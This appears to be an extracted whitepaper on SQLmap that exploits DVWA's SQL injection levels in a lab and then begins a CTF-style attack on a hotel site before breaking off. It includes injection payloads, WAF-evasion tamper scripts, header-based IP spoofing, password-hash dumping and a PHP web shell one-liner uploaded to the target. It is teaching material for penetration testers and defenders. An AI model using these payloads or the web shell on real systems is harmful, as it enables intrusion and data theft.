Data Pirates Toolkit
Data Pirates Toolkit
Whitepaper Toolkit
Leveraging SQLmap for
Goes Here
Unearthing Digital Gold
SUBHEAD
KARL BIRON
Introduction
In the vast and uncharted territories of cyberspace, data is modern-day gold. Buried deep within
vulnerable databases and poorly secured web applications, it lies protected by flimsy fortifications
waiting to be unearthed by malicious and cunning explorers. But unlike ancient treasure hunters
wielding shovels and compasses, today’s data seekers carry a far more powerful tool, SQLmap.
SQLmap isn’t just any run-of-the-mill compass, it’s more like an advanced GPS equipped with
metal detectors, ground-penetrating radar, and a treasure-detecting drone all rolled into one. With
just a few well-sequenced commands and parameters, it can navigate the labyrinthine vaults of
SQL databases, exposing hidden troves of sensitive information such as usernames, passwords,
credit card numbers, and more. However, the real magic lies in how SQL injections often serve as
the secret tunnels into these data vaults.
While SQL injections directly target database queries, they often exploit vulnerabilities in web
applications as their entry point. Poorly sanitized input fields, insecure URL parameters, and
misconfigured web forms become the weak spots that attackers leverage to inject malicious SQL
statements. This makes SQL injection a hybrid vulnerability, one that exists at the intersection of
web and database security.
In this article, we’ll embark on a thrilling expedition into the world of SQLmap, wielding it as our
digital pickaxe to pry open weak database defenses by exploiting web-based SQL vulnerabilities.
Through a hands-on simulation, you’ll witness how this tool automates SQL injection attacks,
extracts data, and even takes over database systems with surgical precision.
By the end of this journey, you’ll not only understand how SQLmap works, but you’ll also gain
insights into the very vulnerabilities that make both web applications and their underlying
databases susceptible to exploitation. It’s a treasure trove of knowledge for penetration testers,
web developers, and security-conscious defenders alike. So, put on your digital explorer’s hat —
we’re about to dive deep into data goldmine!
SQLi is one of the most prevalent web application vulnerabilities, frequently appearing in OWASP’s
Top 10 list of security risks. It is particularly dangerous due to its low complexity and high impact,
enabling even novice attackers to extract or corrupt critical data with relatively simple payloads.
As of the latest OWASP Top 10 (2021 edition), injection attacks are categorized under A03:2021
(Injection), which encompasses a broad class of input manipulation flaws. This includes not just
SQL injection (CWE-89), but also command injection (CWE-77), LDAP injection (CWE-90), XPath
injection (CWE-91), and NoSQL injection (CWE-943), among others.
SQLi can be categorized into several types based on the method of exploitation and the nature
of the injected query. Each type leverages different weaknesses in SQL query handling, allowing
attackers to perform various malicious operations. The primary SQLi techniques supported by
SQLmap are listed below.
Note: SQLmap also supports Out-of-Band (OOB) SQL injection, which leverages external channels like DNS or HTTP callbacks to
exfiltrate data. While OOB is not part of SQLmap’s `--technique` parameter set, it can be invoked using the `--dns-domain` flag
under suitable conditions.
However, there are a few SQLi techniques that are not supported by SQLmap such as second-
order, batched and NoSQL injections. Nevertheless, SQLmap is still widely regarded as one of the
most comprehensive and powerful tools for automating the exploitation of classical SQL injection
vulnerabilities across a wide range of database management systems.
Despite its extensive utility and sophistication, SQLmap ironically suffers from its own success.
Its unmatched automation and power have made it so effective that it’s explicitly prohibited
during the Offensive Security Certified Professional (OSCP) exam. The rationale is simple, OSCP
emphasizes manual exploitation, critical thinking, and a deep understanding of vulnerabilities.
SQLmap, while excellent for real-world engagements, abstracts away much of the learning
process by automating discovery, payload crafting, and exploitation steps that candidates are
expected to perform manually. As such, relying on SQLmap would undermine the purpose of the
exam, which is to evaluate hands-on skill rather than tool dependency.
In summary, SQLmap is an indispensable tool for SQL injection exploitation that offers
comprehensive functions for detection, exploitation, data exfiltration, and post-exploitation
activities.
The SQL injection (non-blind) exercise is particularly notable, as it allows testers to directly
interact with the database through vulnerable input fields. By injecting malicious SQL statements,
attackers can extract sensitive information, such as user credentials, by manipulating the backend
SQL queries. DVWA offers multiple security levels (low, medium, high, and impossible), enabling
users to progressively challenge their skills and understand how different security controls impact
SQLi exploits.
Following the image download, the container is launched using the Docker run command with
a port mapping configuration. The execution of `sudo docker run -d --name dvwa -p
8080:80 sagikazarmark/dvwa` creates a detached container named `dvwa` and maps the
host’s port 8080 to the container’s port 80. The long alphanumeric string returned as output
represents the unique container ID, confirming successful container instantiation.
Firstly, line 4 pulls user-supplied data from the $_REQUEST superglobal, which aggregates input
from GET, POST, and COOKIE sources, making the input channel unpredictable and harder
to secure. No validation or sanitization is performed on this input. This makes the application
extremely vulnerable, as an attacker can inject raw SQL through the id parameter without any
filtering. Any malicious string, such as `1’ OR ‘1’=’1`, will be accepted and passed into the SQL
query, allowing for full control of the backend logic.
Secondly, in line 7 the application constructs the SQL statement dynamically. This unsafe string
concatenation directly embeds the `$id` variable into the SQL command. Without any escaping
or binding, this allows for classical SQL injection. For instance, an attacker could use a payload
like `?id=1’ OR ‘1’=’1`, which would result in the query: `SELECT first_name, last_name FROM users
WHERE user_id = ‘1’ OR ‘1’=’1’;`. Since the condition `’1’=’1’` is always true, the query returns all
users in the database which effectively bypasses access control mechanisms.
Thirdly, line 8 executes the query and, if it fails, uses die() to display either SQL or connection-
related error messages, depending on the error type. While this is helpful during development,
it poses a massive security risk in production. Attackers can intentionally break SQL syntax
to generate error messages, which may reveal information about the database schema or
connection issues, aiding in further exploitation. For example, using `?id=1’ AND (SELECT 1 FROM
nonexistent_table) --` would result in a verbose error that may expose internal database details,
aiding in further exploitation.
Finally, line 16 echoes the attacker-supplied `id` value along with the fetched `first_name`
and `last_name` fields directly to the screen. While this does not cause SQL injection by itself,
it provides useful feedback to the attacker by reflecting their input and displaying query results.
This visibility helps confirm whether an injection attempt was successful. For instance, if an
attacker sends a payload like `?id=1’ UNION SELECT database(), version() --` and
sees the database name and version in the response, it indicates that the injection succeeded.
Although output display is often intended for user experience, doing so without proper encoding
or sanitization turns the application into a feedback mechanism for attackers.
This URL-based submission model is problematic because it exposes the injection point directly
in the address bar, making it trivial for attackers to test various SQL payloads by simply modifying
the URL. For example, an attacker could append malicious input such as `’OR ‘1’=’1` to the `id`
parameter to test for vulnerability and observe the response in real time.
The combination of a raw text input, URL-based parameter passing, and direct output reflection
makes the front-end design of this page highly susceptible to SQL injection and ideal for
demonstrating how insecure input handling in the UI can expose critical vulnerabilities.
As shown in Figure 10, cookie details can be retrieved by opening the Firefox browser’s developer
tools (F12 or right-click and select “Inspect”), navigating to the “Storage” tab, expanding the
“Cookies” section, and locating the relevant cookies. In this particular case, the PHPSESSID value
is `qoqc6hsaknc8f18sTP29p81l1` while the security level value is `low`. These values must be
precisely copied to ensure that SQLmap can maintain a valid session during the penetration
testing process.
Once the proper cookie values are obtained, database enumeration serves as the foundation of
the SQL injection assessment. This can be efficiently achieved using SQLmap’s `--banner` flag,
which retrieves database version information. In addition, implementing the `--batch` flag enables
non-interactive mode, allowing SQLmap to automatically use default answers for all prompts,
streamlining the testing process and providing consistent results throughout the attack simulation.
There are two prompts that were answered with the default selection (`Y` for Yes) thanks to
the `--batch` flag. The first prompt asks `it looks like the back-end DBMS is ‘MySQL’. Do you
want to skip test payloads specific for other DBMSes? [Y/n]`. If answered with `Yes` (eg. `Y/
y`) it will skip all non-MySQL-specific SQL injection payloads and only use MySQL-related ones.
This is great for efficiency and speed when you are certain that MySQL is the only DBMS in use.
If answered with `No` (`N/n`) it will continue testing all DBMS-specific payloads, including for
SQL Server, PostgreSQL, Oracle, and others, even though MySQL appears to be the backend.
The second prompt asks `for the remaining tests, do you want to include all tests for ‘MySQL’
extending provided level (1) and risk (1) values? [Y/n]`. If answered with `Yes` (e.g., `Y/y`), this
will expand the level and risk settings to maximize testing coverage for the executed payloads.
This may increase the chances of detecting SQL injection vulnerabilities including ones that are
more complex or harder to trigger but may also be more disruptive toward the target. If answered
with `No` (`N/n`), this will continue testing only with the default level (1) and risk (1), which uses a
smaller, less aggressive set of payloads.
To elaborate briefly on Figure 12, it reflects the detailed SQL injection testing phase conducted
by SQLmap. The specific tests conducted include Boolean-based, error-based, time-based, and
UNION-based SQLi techniques. As observed, these tests conclude that the `id` parameter is
injectable using these specific techniques. In addition, the third and final prompt of the SQLmap
execution asks `GET parameter ‘id’ is vulnerable. Do you want to keep testing the others (if any)?
[y/N]`. If answered with `Yes` (e.g., `Y/y`), this will continue testing other potential parameters
(if they exist) for SQL injection vulnerabilities, which will ensure maximum coverage and identify
all possible vulnerabilities across multiple parameters. If answered with `No` (e.g., `N/n`), this
will stop testing further parameters and focus on exploiting the confirmed vulnerability in the `id`
parameter, which is useful for focused simulations or if a reduced scan time is desired.
Finally, to elaborate briefly on Figure 13, the SQLi techniques Boolean-based, error-based, time-
based, and UNION were successfully identified and applied on the target to eventually acquire the
banner information of `5.5.54-0+deb8u1-log`. This DVWA target was exposed to have a back-end
DBMS of MySQL running an Apache 2.4.10 web server with a Debian Linux operating system.
Moreover, these preliminary tests are all logged and therefore, further tests will require a shorter
run time as base data have already been acquired with this initial SQLmap execution.
The MySQL database is a critical system schema that manages user accounts, privileges, roles,
and server configurations. It includes tables such as user, db, and tables_priv. Gaining access
to this database allows attackers to escalate privileges, create new users, or modify existing
permissions, therefore making it a high-value target in exploitation scenarios.
The DVWA database is the main target in this simulation environment. It contains intentionally
insecure tables and data designed for practicing web security testing techniques such as SQL
injection. It contains typical tables that mimic real-world application structures.
Firstly, examining line 5, we see a significant improvement in how the user input is handled using
the `mysqli_real_escape_string()` function. It enables the escape of certain special characters
such as quotes but is not foolproof protection against all SQL injection types. Nevertheless, this is
a substantial improvement over the low difficulty version that used raw, unfiltered input.
In line 8, however, we observe a critical vulnerability that undermines the previous security measure.
Despite sanitizing the input value, the query construction still uses direct variable interpolation
without enclosing $id in quotes. This weakens the effectiveness of the sanitization, as numeric-
based SQL injections remain possible. While some string-based injection vectors may be mitigated,
the protection is fragile and easily bypassed due to the absence of parameterized queries. An
attacker can still provide inputs like 1 OR 1=1, resulting in the query: SELECT first_name, last_
name FROM users WHERE user_id = 1 OR 1=1;, which effectively bypasses authentication.
Line 9 shows the query execution code. Similar to the low difficulty version, this code continues
to display detailed database error messages when queries fail. This information disclosure
vulnerability allows attackers to gather valuable intelligence about the database structure through
error-based SQL injection techniques.
Finally, in line 18, we see the output generation. The application still reflects user input and query
results directly to the page, which enables attackers to confirm successful injections and exfiltrate
data through carefully crafted payloads. This output reflection assists attackers in developing and
refining their injection strategies through visual feedback.
While the medium difficulty introduces input sanitization via the `mysqli_real_escape_string()`
function, the lack of parameterized queries and the numeric SQL injection vulnerability created by
omitting quotes around the `$id` parameter still leaves the application susceptible to attack. This
demonstrates how partial security measures can create a false sense of security while leaving
significant attack vectors open.
This interface modification represents a common security hardening technique that follows the
principle of input restriction. By limiting user input to a controlled set of presumably safe values,
the application attempts to reduce the attack surface. The dropdown implementation makes it
more difficult (though not impossible) for attackers to submit arbitrary SQL code through the
normal user interface. This forces potential attackers to employ more sophisticated techniques
like intercepting and modifying HTTP requests rather than simply typing malicious code into a text
field.
Another notable security improvement in the medium-level interface is the switch from GET to
POST request methods. Unlike the low-level version where the injection parameter is appended
directly in the URL, the medium-level implementation sends data in the HTTP request body via
POST. While this does not prevent SQL injection attacks, it reduces the visibility of parameters,
making casual tampering through the address bar more difficult. Attackers now need tools like
Burp Suite, browser developer tools, or custom scripts to intercept and manipulate the hidden
request data.
However, despite these improvements, the medium-level interface still contains inherent security
flaws. The application continues to directly reflect query results on the page, providing immediate
feedback that helps attackers confirm successful injections. Additionally, the dropdown restriction
can be easily bypassed by intercepting the HTTP request after form submission via special tools
(e.g., BurpSuite, OWASP ZAP, etc.), allowing attackers to replace the legitimate dropdown value
with malicious SQL code.
As shown in Figure 23, SQLmap was executed with the `--random-agent` flag. Specifically, the
output `fetched random HTTP User-Agent header value` shows the flag at work as SQLmap was
able to fetch a randomly fabricated HTTP User-Agent header value (e.g., `Mozilla/5.0 (Macintosh;
U; Intel Mac OS X 10_6_2; ja-jp) AppleWebKit/531.0.5 Safari/531.22.7`). Furthermore, the same
output even specifies the file from where the user-agent value was sourced (e.g., `/usr/share/
sqlmap/data/txt/user-agents.txt`). As shown in Figures 24 and 25, SQLmap then proceeds to fulfil
the `--banner` flag procedures to complete the whole execution.
The `--current-db` flag retrieves the name of the current default database in use by the
application, which is critical for focusing subsequent data extraction and understanding the
application’s schema structure.
The `--current-user` flag, on the other hand, fetches the username used by the back-end DBMS
for the session, which is often a service account or specific database user configured by the
application. Knowing the current user can help penetration testers or threat actors assess the
scope of access, especially when cross-referencing it with database roles and privileges.
The `--is-dba` flag takes this a step further by determining whether the current database user
has administrative (DBA) privileges. This is a particularly crucial check because if the user has
DBA rights, the attacker may be able to perform high-impact operations such as reading or writing
files on the server, accessing other user’s data, or even executing operating system commands
depending on the DBMS.
As shown in Figure 26, an SQLmap execution was conducted with these specific flags. Firstly,
it has successfully identified the current database as “dvwa” through the `--current-db` flag,
providing the foundational knowledge needed for targeted data extraction operations. Secondly,
the `--current-user` enumeration reveals that the database connection operates under the
`root@localhost` user context, which immediately signals elevated privileges within the MySQL
environment. Finally, and most significantly, the `--is-dba` check confirms that the current user
possesses DBA (Database Administrator) privileges, as indicated by the affirmative response in
the output `current user is DBA: True`. This combination of findings presents a high-risk scenario
where the compromised SQL injection vulnerability provides not only access to the application’s
primary database but also administrative-level control over the entire database management
system.
However, it’s important to note that not all database systems implement role-based access
control. As demonstrated in Figure 27, when SQLmap encounters a MySQL database (version 5.0
or higher), it recognizes that `the concept of roles does not exist` in MySQL’s architecture and
automatically adapts by stating “sqlmap will enumerate privileges instead.” This intelligent fallback
behavior ensures that valuable access control information is still gathered even when the target
DBMS doesn’t support formal role structures.
When roles are supported, SQLmap queries the system tables or metadata to extract a list of all
roles granted to the current user. When roles aren’t available (as with MySQL), SQLmap pivots
to privilege enumeration, which serves a similar purpose by identifying the specific permissions
granted to the current user account. As shown in Figures 28 to 33, the privilege enumeration
reveals comprehensive access rights for multiple root user instances, including administrative
privileges across various database operations such as ALTER, CREATE, DELETE, DROP, EXECUTE,
FILE, INSERT, SELECT, SHUTDOWN, SUPER, TRIGGER, and UPDATE permissions.
In real-world attack scenarios, whether through role identification or privilege enumeration, this
information can aid in privilege escalation paths or uncover security misconfigurations where
excessive privileges have been granted to non-administrative accounts. Therefore, the `--roles`
flag (and its automatic privilege enumeration fallback) is a powerful addition to any SQL injection-
based enumeration campaign, providing deeper insight into access control distribution.
As shown in Figure 34, the `--delay` flag is set to 5 seconds in the SQLmap command execution,
and its effects are clearly visible in the timestamp progression throughout the enumeration
process. The deliberate pacing becomes evident when examining the time intervals between
operations. For instance, the transition from parsing HTTP requests at one timestamp to retrieving
backend DBMS information at subsequent timestamps shows a 5-second gap. Furthermore, this
systematic delay is particularly noticeable during the database schema extraction phase, where
SQLmap performs multiple queries to gather the database names. As observed, the requests are
methodically spaced according to the specified delay parameter. The controlled timing prevents
the tool from overwhelming the target server with rapid-fire requests, demonstrating how the
`--delay` flag effectively throttles the injection attempts.
As demonstrated in Figure 35, a query like `--sql-query “SELECT user, password FROM dvwa.
users;”` enables the precise extraction of usernames and hashed passwords from a specific table
within a known database which effectively bypasses the need to enumerate and select databases
or tables manually.
This parameter is especially useful in real-world scenarios where the tester already has knowledge
of the schema or where stealth is required. Executing a single specific query can minimize
noise and avoid drawing attention compared to broader enumeration techniques. It is also
useful for testing more complex SQL logic or performing administrative tasks, such as retrieving
configuration values or checking privilege levels.
However, this power comes with increased responsibility, as poorly crafted queries can result
in syntax errors or unintentionally destructive behavior. Therefore, proper understanding of the
database schema and SQL syntax is essential when using this parameter. Overall, `--sql-query`
offers flexibility, precision, and efficiency, making it a vital tool for both advanced exploitation and
focused information gathering during SQL injection assessments.
As demonstrated in Figure 36, SQLmap was executed with the `--sql-shell` flag. Consequently,
as shown in Figure 37, the `--sql-shell` flag functionality can be seen in action as it
provides seamless interactive access to the compromised MySQL database. The execution of
`SELECT user, password FROM dvwa.users;` successfully retrieves all usernames and their
corresponding hashed passwords. The results display entries for admin, gordonb, 1337, pablo,
and smithy users along with their MD5 password hashes. The session concludes as illustrated in
Figure 38, where the tester exits the interactive shell.
The most notable improvement is the use of session variables for user identification instead of
form-based or URL-based input. As highlighted in line 4, the user ID is retrieved from the session
via `$_SESSION[‘id’]`. This approach significantly enhances security since session values are
stored server-side, making them less susceptible to manipulation by an attacker. By reducing
exposure to user-controlled input, this mechanism mitigates one common attack vector for SQL
injection.
Furthermore, the end of line 6 illustrates the SQL query that utilizes the `LIMIT 1` clause.
This addition helps restrict the query to returning only a single row, reducing the potential data
exposure even if an SQL injection attempt were to succeed. While not a true mitigation against
SQL injection itself, it serves as a practical risk-reduction measure by limiting the impact of
successful injection attempts aimed at dumping large datasets.
However, despite the use of session variables and query limiting, the application still constructs
SQL queries using direct string interpolation, as shown in the whole of line 6. This remains a
residual vulnerability. If an attacker manages to manipulate or poison the session through flaws
such as session hijacking, they could potentially inject SQL payloads via the `$_SESSION[‘id’]`
value. While this attack vector is significantly more difficult to exploit compared to user-controlled
inputs, the lack of prepared statements or parameterized queries still leaves the system exposed
under certain conditions.
Despite these drawbacks, the application does implement improved error handling, which is a
step in the right direction. As seen in line 7, instead of revealing detailed SQL errors, it outputs a
generic message `Something went wrong.` This prevents attackers from gaining insight into the
underlying database structure through error-based SQL injection techniques, which is a common
reconnaissance tactic.
In summary, DVWA’s high security level introduces meaningful improvements against SQL injection,
such as retrieving the user ID from server-side session variables and using a `LIMIT 1` clause
to minimize data exposure. It also incorporates better error handling to obscure database details.
However, the continued use of direct string interpolation in SQL queries leaves a residual risk,
particularly if an attacker compromises the session.
Unlike the medium level, which restricts user input through a dropdown menu containing
predefined values, the high-level implementation introduces a more obfuscated workflow by
offloading input collection to a separate browser window (session-input.php). While the medium
level limits injection vectors by constraining the input surface, its underlying requests can still
be intercepted and tampered with using tools like Burp Suite. In contrast, the high-level setup
requires the attacker to trace a less direct injection path, as the main page itself no longer
exposes direct input fields or query parameters. All input is submitted through a distinct HTTP
request triggered by the secondary input window, and the main interface simply reflects the result
returned by the backend query execution.
This separation of interface simulates real-world secure design patterns where input and output
channels are isolated to minimize attack surface exposure. However, the backend remains
susceptible to SQL injection due to a lack of input sanitization and proper database query
handling. Therefore, while the user interface introduces a level of obfuscation that may slow down
casual or automated attacks, it ultimately does not eliminate the underlying vulnerability. This
highlights a common pitfall in security through obscurity. The web UI layer defenses may deter
unsophisticated attempts but cannot substitute for robust backend validation and secure coding
practices.
The `--second-url` option in SQLmap allows attackers to provide a secondary URL that will be
requested before each injection attempt on the primary target URL. In this context, the secondary
URL (session-input.php) is the one that accepts user-controlled input, which is then passed to the
vulnerable query. To exploit this configuration, the attacker would use SQLmap with the `--url`
parameter pointing to the main vulnerable page (e.g., http://127.0.0.1:8080/vulnerabilities/sqli/)
and specify the input endpoint using `--second-url` (e.g., http://127.0.0.1:8080/vulnerabilities/
sqli/session-input.php), along with the `--data` parameter containing the injection payload (e.g.,
`--data=”id=1”`).
Essentially, SQLmap will first interact with the secondary URL to establish the required session
state, then perform its main testing and exploitation on the primary page. This technique bypasses
the illusion of front-end security offered by redirected input forms, demonstrating how multi-step
workflows can still be vulnerable if backend input handling remains unsafe. While this design may
deter casual attackers or basic Burp Suite payloads due to the dissociation of input, tools like
SQLmap with `--second-url` empower advanced attackers to exploit even multi-stage injection
paths, exposing the weakness in relying solely on UI separation as a defensive measure.
The `--headers` parameter on the other hand, plays a critical role in enhancing the stealth of
SQLmap traffic toward a target. This flag is primarily used to spoof the originating IP address in
environments where web servers or WAFs log IPs from specific headers (e.g., X-Forwarded-For or
X-Client-IP) instead of the actual source IP. In real-world attack scenarios, this is highly beneficial
for evading IP-based rate limiting, intrusion detection systems (IDS), or security monitoring tools
that use client IP as an identifier for threat intelligence. Moreover, by modifying headers, attackers
can mimic legitimate client behavior in misconfigured systems.
As shown in Figure 41, both the `--fingerprint` and `--headers` flags are utilized within the
SQLmap command execution. The effect of `--fingerprint` flag is evident in the terminal output
where SQLmap performs deeper DBMS analysis, including an active fingerprint and a comment
injection fingerprint, ultimately determining the precise MySQL version (such as 5.5.54) as
demonstrated in Figure 42. This level of detail exceeds the simpler identification provided by
`--banner` flag which typically retrieves a version string via a straightforward query. Meanwhile,
the use of `--headers=”X-Client-IP: 192.168.1.1”` in the command showcases how
custom HTTP headers can be injected into requests. If the target server trusts such headers for IP
identification, this can be leveraged to bypass IP-based access controls or logging mechanisms.
The `space2comment` tamper script replaces spaces in SQL payloads with inline SQL comments
(e.g., /**/), which can effectively bypass WAF rules that rely on pattern matching for SQL
keywords separated by whitespace. For example, a typical query such as `SELECT * FROM
users WHERE id = 1` might be transformed into `SELECT/**//*FROM/**/users/**/WHERE/**/
id/**/=/**/1`, making it harder for signature-based defenses to detect the malicious payload. This
is especially useful against naive filters that block known SQL keywords only when followed by a
space.
The `between` tamper script modifies numeric conditions by replacing direct equality
comparisons with `BETWEEN` clauses. For example, a condition such as `id=1` could become `id
BETWEEN 1 AND 1`. This approach bypasses filters that flag common comparison operators (e.g.,
=, >, <) while maintaining the same logical outcome. It is particularly useful in applications that
heavily inspect traditional operators but allow more complex SQL expressions to pass unchecked.
Lastly, the `charencode` tamper script encodes each character of the payload into its
hexadecimal representation (e.g., `admin` becomes `0x61646d696e`), which is interpreted
correctly by the SQL engine but obfuscated at the input layer. This tactic can be effective against
input validation filters that reject suspicious alphanumeric sequences associated with SQL
injection. It also helps in situations where input is sanitized through regex or character blocklisting
but does not decode hex-encoded characters prior to query execution.
The `--level` flag determines how many types of tests SQLmap will perform per injection point.
By default, `--level` is set to 1 (out of a maximum of 5), meaning only the most basic and non-
intrusive payloads are sent. Increasing the level results in a broader range of payloads and
techniques, such as testing additional HTTP GET/POST parameters, HTTP headers, and even
cookies if applicable. A high level (e.g., --level=5) will make SQLmap exhaustively test all entry
points, increasing the chances of discovering vulnerabilities at the cost of more time and noise.
The `--risk` parameter, on the other hand, defines the potential danger or impact of the payloads
being used. With a default value of 1 (out of 3), SQLmap uses low-risk, safer payloads. Raising it
to `--risk=3` instructs SQLmap to use more intrusive and potentially disruptive techniques. These
higher-risk tests are particularly useful when dealing with custom or defensive web applications
where simple injections are sanitized or filtered.
As shown in Figure 47, both the `--risk` and `--level` parameters was utilized with slightly
increased values from their defaults to successfully enumerate the tables within the `dvwa`
database.
When the `--threads` parameter is maxed out (e.g., set to 10), SQLmap pushes the server’s
request handling capacity more aggressively. However, this aggressive threading can have
a variety of negative side effects especially for targets that are poorly secured or have low
resources. High concurrency may result in noticeable performance degradation or even crash the
application. In addition, heavily threaded SQLmap scans are more likely to be flagged by WAFs,
IDS, or rate-limiting mechanisms, especially if no stealth techniques (like --random-agent or
--delay) are used in combination.
As shown in Figure 48, the `--threads` parameter was utilized with a slightly increased value
from their default to successfully enumerate the columns of the `users` tables within the `dvwa`
database. Unfortunately, SQLmap does not explicitly display thread information in the console
output by default. One manifestation of the `--thread` parameter in this context may be found in
the fact that the whole SQLmap execution was conducted within a single timestamp second (e.g.,
23:48:13).
In real-world attacks, using the `--technique` parameter helps an operator optimize both time
and stealth. For instance, an attacker targeting a production system with strict WAF filtering might
choose `--technique=T` to minimize detection, while another testing a verbose development
environment might prefer `--technique=EU` for speed and data extraction efficiency. It also helps
avoid unnecessary payloads or techniques that are likely to be blocked or are irrelevant in the
target’s context, improving precision and success rate.
As shown in Figure 49, the `--technique` parameter was utilized with the default value of
`UBESTQ` to be thorough. In particular, only the techniques time-based blind (T) and union
query (U) were used. As demonstrated in Figure 50, this SQLmap execution was successful in
dumping the data of all columns of the `users` table within the `dvwa` database.
As shown in Figure 51, an attempt to utilize the `--os-shell` flag on an SQLmap execution
was conducted. Unfortunately, the execution fails as demonstrated in Figures 52 and 53, where
SQLmap repeatedly attempts to upload file stagers to multiple directories including `/var/
www/`, `/var/www/html/`, `/usr/local/apache2/htdocs/`, and `/usr/local/www/
data/` using both `LIMIT ‘LINES TERMINATED BY’` and `UNION` methods. The consistent output
of the `WARNING: it looks like the file has not been written` messages indicate that the database
user lacks sufficient write privileges to create the necessary backdoor files in web-accessible
directories which prevents SQLmap from establishing the OS shell functionality and resulting in
the final `404 (Not Found) - 205 times` error.
As shown in Figure 54, the created `shell.php` file contains a simple but powerful one-liner PHP
script `<?php system($_GET[‘cmd’]); ?>`. This script transforms into a functional web shell
by allowing remote users to pass system commands via the `cmd` URL parameter (e.g., `http://
target/shell.php?cmd=whoami`). When accessed through a web browser, the script executes
the command on the server’s underlying operating system using PHP’s `system()` function and
returns the output in the HTTP response. Due to its minimal size and high impact, such a web shell
is frequently used in real-world attacks to escalate privileges, exfiltrate data, or pivot further into
the network.
Now that the PHP web shell is created, it is ready to be uploaded into the target. As shown in
Figure 55, the `--file-write` and `--file-dest` parameters are actively used in the SQLmap
command to upload a local PHP file (shell.php) to the remote server. The output confirms that
the file has been successfully written to the target system with the message: `the local file ‘shell.
php’ has been successfully written on the back-end DBMS file system (‘/var/www/html/shell.
php’)`. This demonstrates that SQLmap was able to exploit a writable file path on the server to
place a file in a web-accessible directory.
Finally, to test out the web shell, we navigate to the uploaded file’s URL as demonstrated in Figure
56. The successful execution is confirmed by the output `uid=33(www-data) gid=33(www-data)
groups=33(www-data)`, demonstrating that the web shell is functional and capable of executing
system commands with the privileges of the web server user (www-data). This effectively
provides the attacker with command execution capabilities on the target system.
One of the key security features is the anti-CSRF (Cross-Site Request Forgery) token validation
mechanism, as demonstrated in line 4 with the function call `checkToken`. This function ensures
that the token included in the request matches the one stored in the user’s session. If the tokens
don’t match, the request is deemed invalid, and the user is redirected, halting further processing.
This mechanism helps prevent SQL injection attacks by ensuring that only legitimate, user-
initiated requests are processed. Without a valid CSRF token, even a crafted request containing
SQL injection payloads would be rejected before reaching the SQL execution logic. By acting as a
gatekeeper, the CSRF token check adds a critical layer of protection that blocks unauthorized or
automated attempts to exploit SQL injection vulnerabilities.
Before any SQL query is even prepared, the application performs input validation using `is_
numeric()` as seen in line 8 to ensure that the input provided for the user ID is strictly numeric.
This step filters out typical SQL injection payloads that rely on string manipulation, such as
`’ OR 1=1 --`, which would be rejected outright as non-numeric. Following this validation, the
application employs parameterized queries using PDO (PHP Data Objects), seen in line 11. By
preparing the SQL statement with placeholders and binding parameters with strict data types
(e.g., `PDO::PARAM_INT`), the application ensures that user input is treated purely as data and
not executable SQL code, which effectively neutralizes any SQL injection attempts.
To further reinforce the integrity of the query and restrict data exposure, the SQL statement
includes a `LIMIT 1` clause as seen towards the end of line 10. This not only improves
performance but also ensures that even if a vulnerability were to be exploited, only a single record
could be returned. The application also checks that exactly one row is returned using `rowCount()
== 1` as seen in line 15. This acts as a safeguard to prevent unintended logic paths or the
processing of bulk data, making sure the output aligns with the expected result of a single user
lookup.
In line 20, the application securely renders output using the `<pre>` tag along with controlled
string interpolation. While this primarily defends against Cross-Site Scripting (XSS) by ensuring
that user data is displayed as plain text and not interpreted as executable code, it also contributes
indirectly to SQL injection prevention. By avoiding the execution of any embedded scripts or
HTML, even if malicious SQL data were somehow injected and stored in the database, it would
not result in further exploitation through the browser. This containment ensures that any malicious
payload returned from a successful SQL injection does not escalate into an XSS attack, thereby
reinforcing overall application security.
The `user_token` value is an implementation of anti-CSRF protection, but in this context, it plays
a dual role by introducing server-side request validation, which is often tied to user sessions and
intended form submissions. This token prevents automated tools such as Burp Suite or SQLmap
from successfully reusing or crafting malicious requests unless they also extract and reuse the
correct, active session token. If this token is missing, expired, or incorrect, the server silently
discards the request or returns a benign result, effectively nullifying the injection attempt even if
the payload is syntactically valid.
When comparing the low, medium, and high difficulty levels, the low level allows full unsanitized
input directly in the URL and backend query, making it trivially exploitable. The medium level
restricts user input using a dropdown menu but still allows SQL injection through modified HTTP
requests. The high level detaches the input from the main interface and prevents reflection in the
URL, increasing the complexity of the attack but not fully securing the underlying backend logic.
In contrast, the impossible level neutralizes injection at the backend, regardless of front-end
controls or obfuscation. While it keeps the form structure deceptively simple, it creates a false
sense of vulnerability that effectively deters automated scanners, manual testing, and fuzzing by
relying on strong server-side logic rather than just client-side input controls.
In conclusion, although it mimics the low-level UI, the impossible level introduces crucial, invisible
improvements such as secure query handling and token-based session validation, rendering SQL
injection attacks impossible in practice and setting an ideal example of how secure applications
should handle user input and session-based verification.
This SQLmap runtime began at 02:34:31 and concluded at 02:54:16, resulting in a runtime of
nearly 20 minutes, which stands out as the longest among all tests covered in this article. The
primary contributors to this extended duration were the aggressive `--level`, `--risk`, and
multi-tamper script usage, each adding more payload permutations and complexity to the testing
process.
Despite this full-force approach, Figure 60 shows that the result was ultimately a CRITICAL failure
with the output message `all tested parameters do not appear to be injectable.` This outcome
strongly affirms that the impossible level in DVWA’s SQLi module is not only immune to basic
exploitation but also remains impervious to even the most exhaustive SQLmap configurations,
underscoring its purpose as a hardened, real-world simulation of a securely coded application.
In particular, SQLmap was used to determine the existence of a WAF, enumerate the target’s
backend database management system (DBMS), acquire DB admin credentials (username and
password) and upload a PHP web shell into the target to obtain command injection capabilities.
As with any penetration testing or CTF engagement, it all starts with a port scan. As shown in
Figure 61, the NMAP scan was able to detect ports 22 (SSH) and 80 (HTTP).
The HTTP port is probed further using a good old and trusted web browser (Firefox in this case).
The web service shows what seems to be a simple website for a hotel, as shown in Figure 62. The
website is explored further by clicking various links and buttons to a specific web page regarding
a particular room (Superior Family Room). The URL of this web page contains a query string with
a query name `cod` and the query value being `1`, as shown in Figure 63. In cybersecurity, this
kind of parameter is a common target for SQL injection attack, especially when the value is used in
database queries without proper input validation.
Without wasting anymore time, let’s bring out SQLmap and execute it on this URL as shown in
Figures 64 and 65. The former figure displays the initial execution and SQL conducting its multiple
tests. The latter figure displays more testing by SQLmap but towards the end was met with a
critical error before ending the execution. Upon taking a closer look at the error message, it seems
to suggest that the SQLmap testing procedures were halted due to a protection mechanism such
as a WAF. In addition, the error message provides a multitude of potential parameters to apply that
may be able to circumvent this issue.
To verify that there is indeed a problem with this URL, it was visited using the Firefox browser.
Lo and behold, as shown in Figure 66, the URL displays the error message `Hey you have been
banned for 90 seconds, don’t be bad` to confirm that the SQLmap execution has affected (albeit,
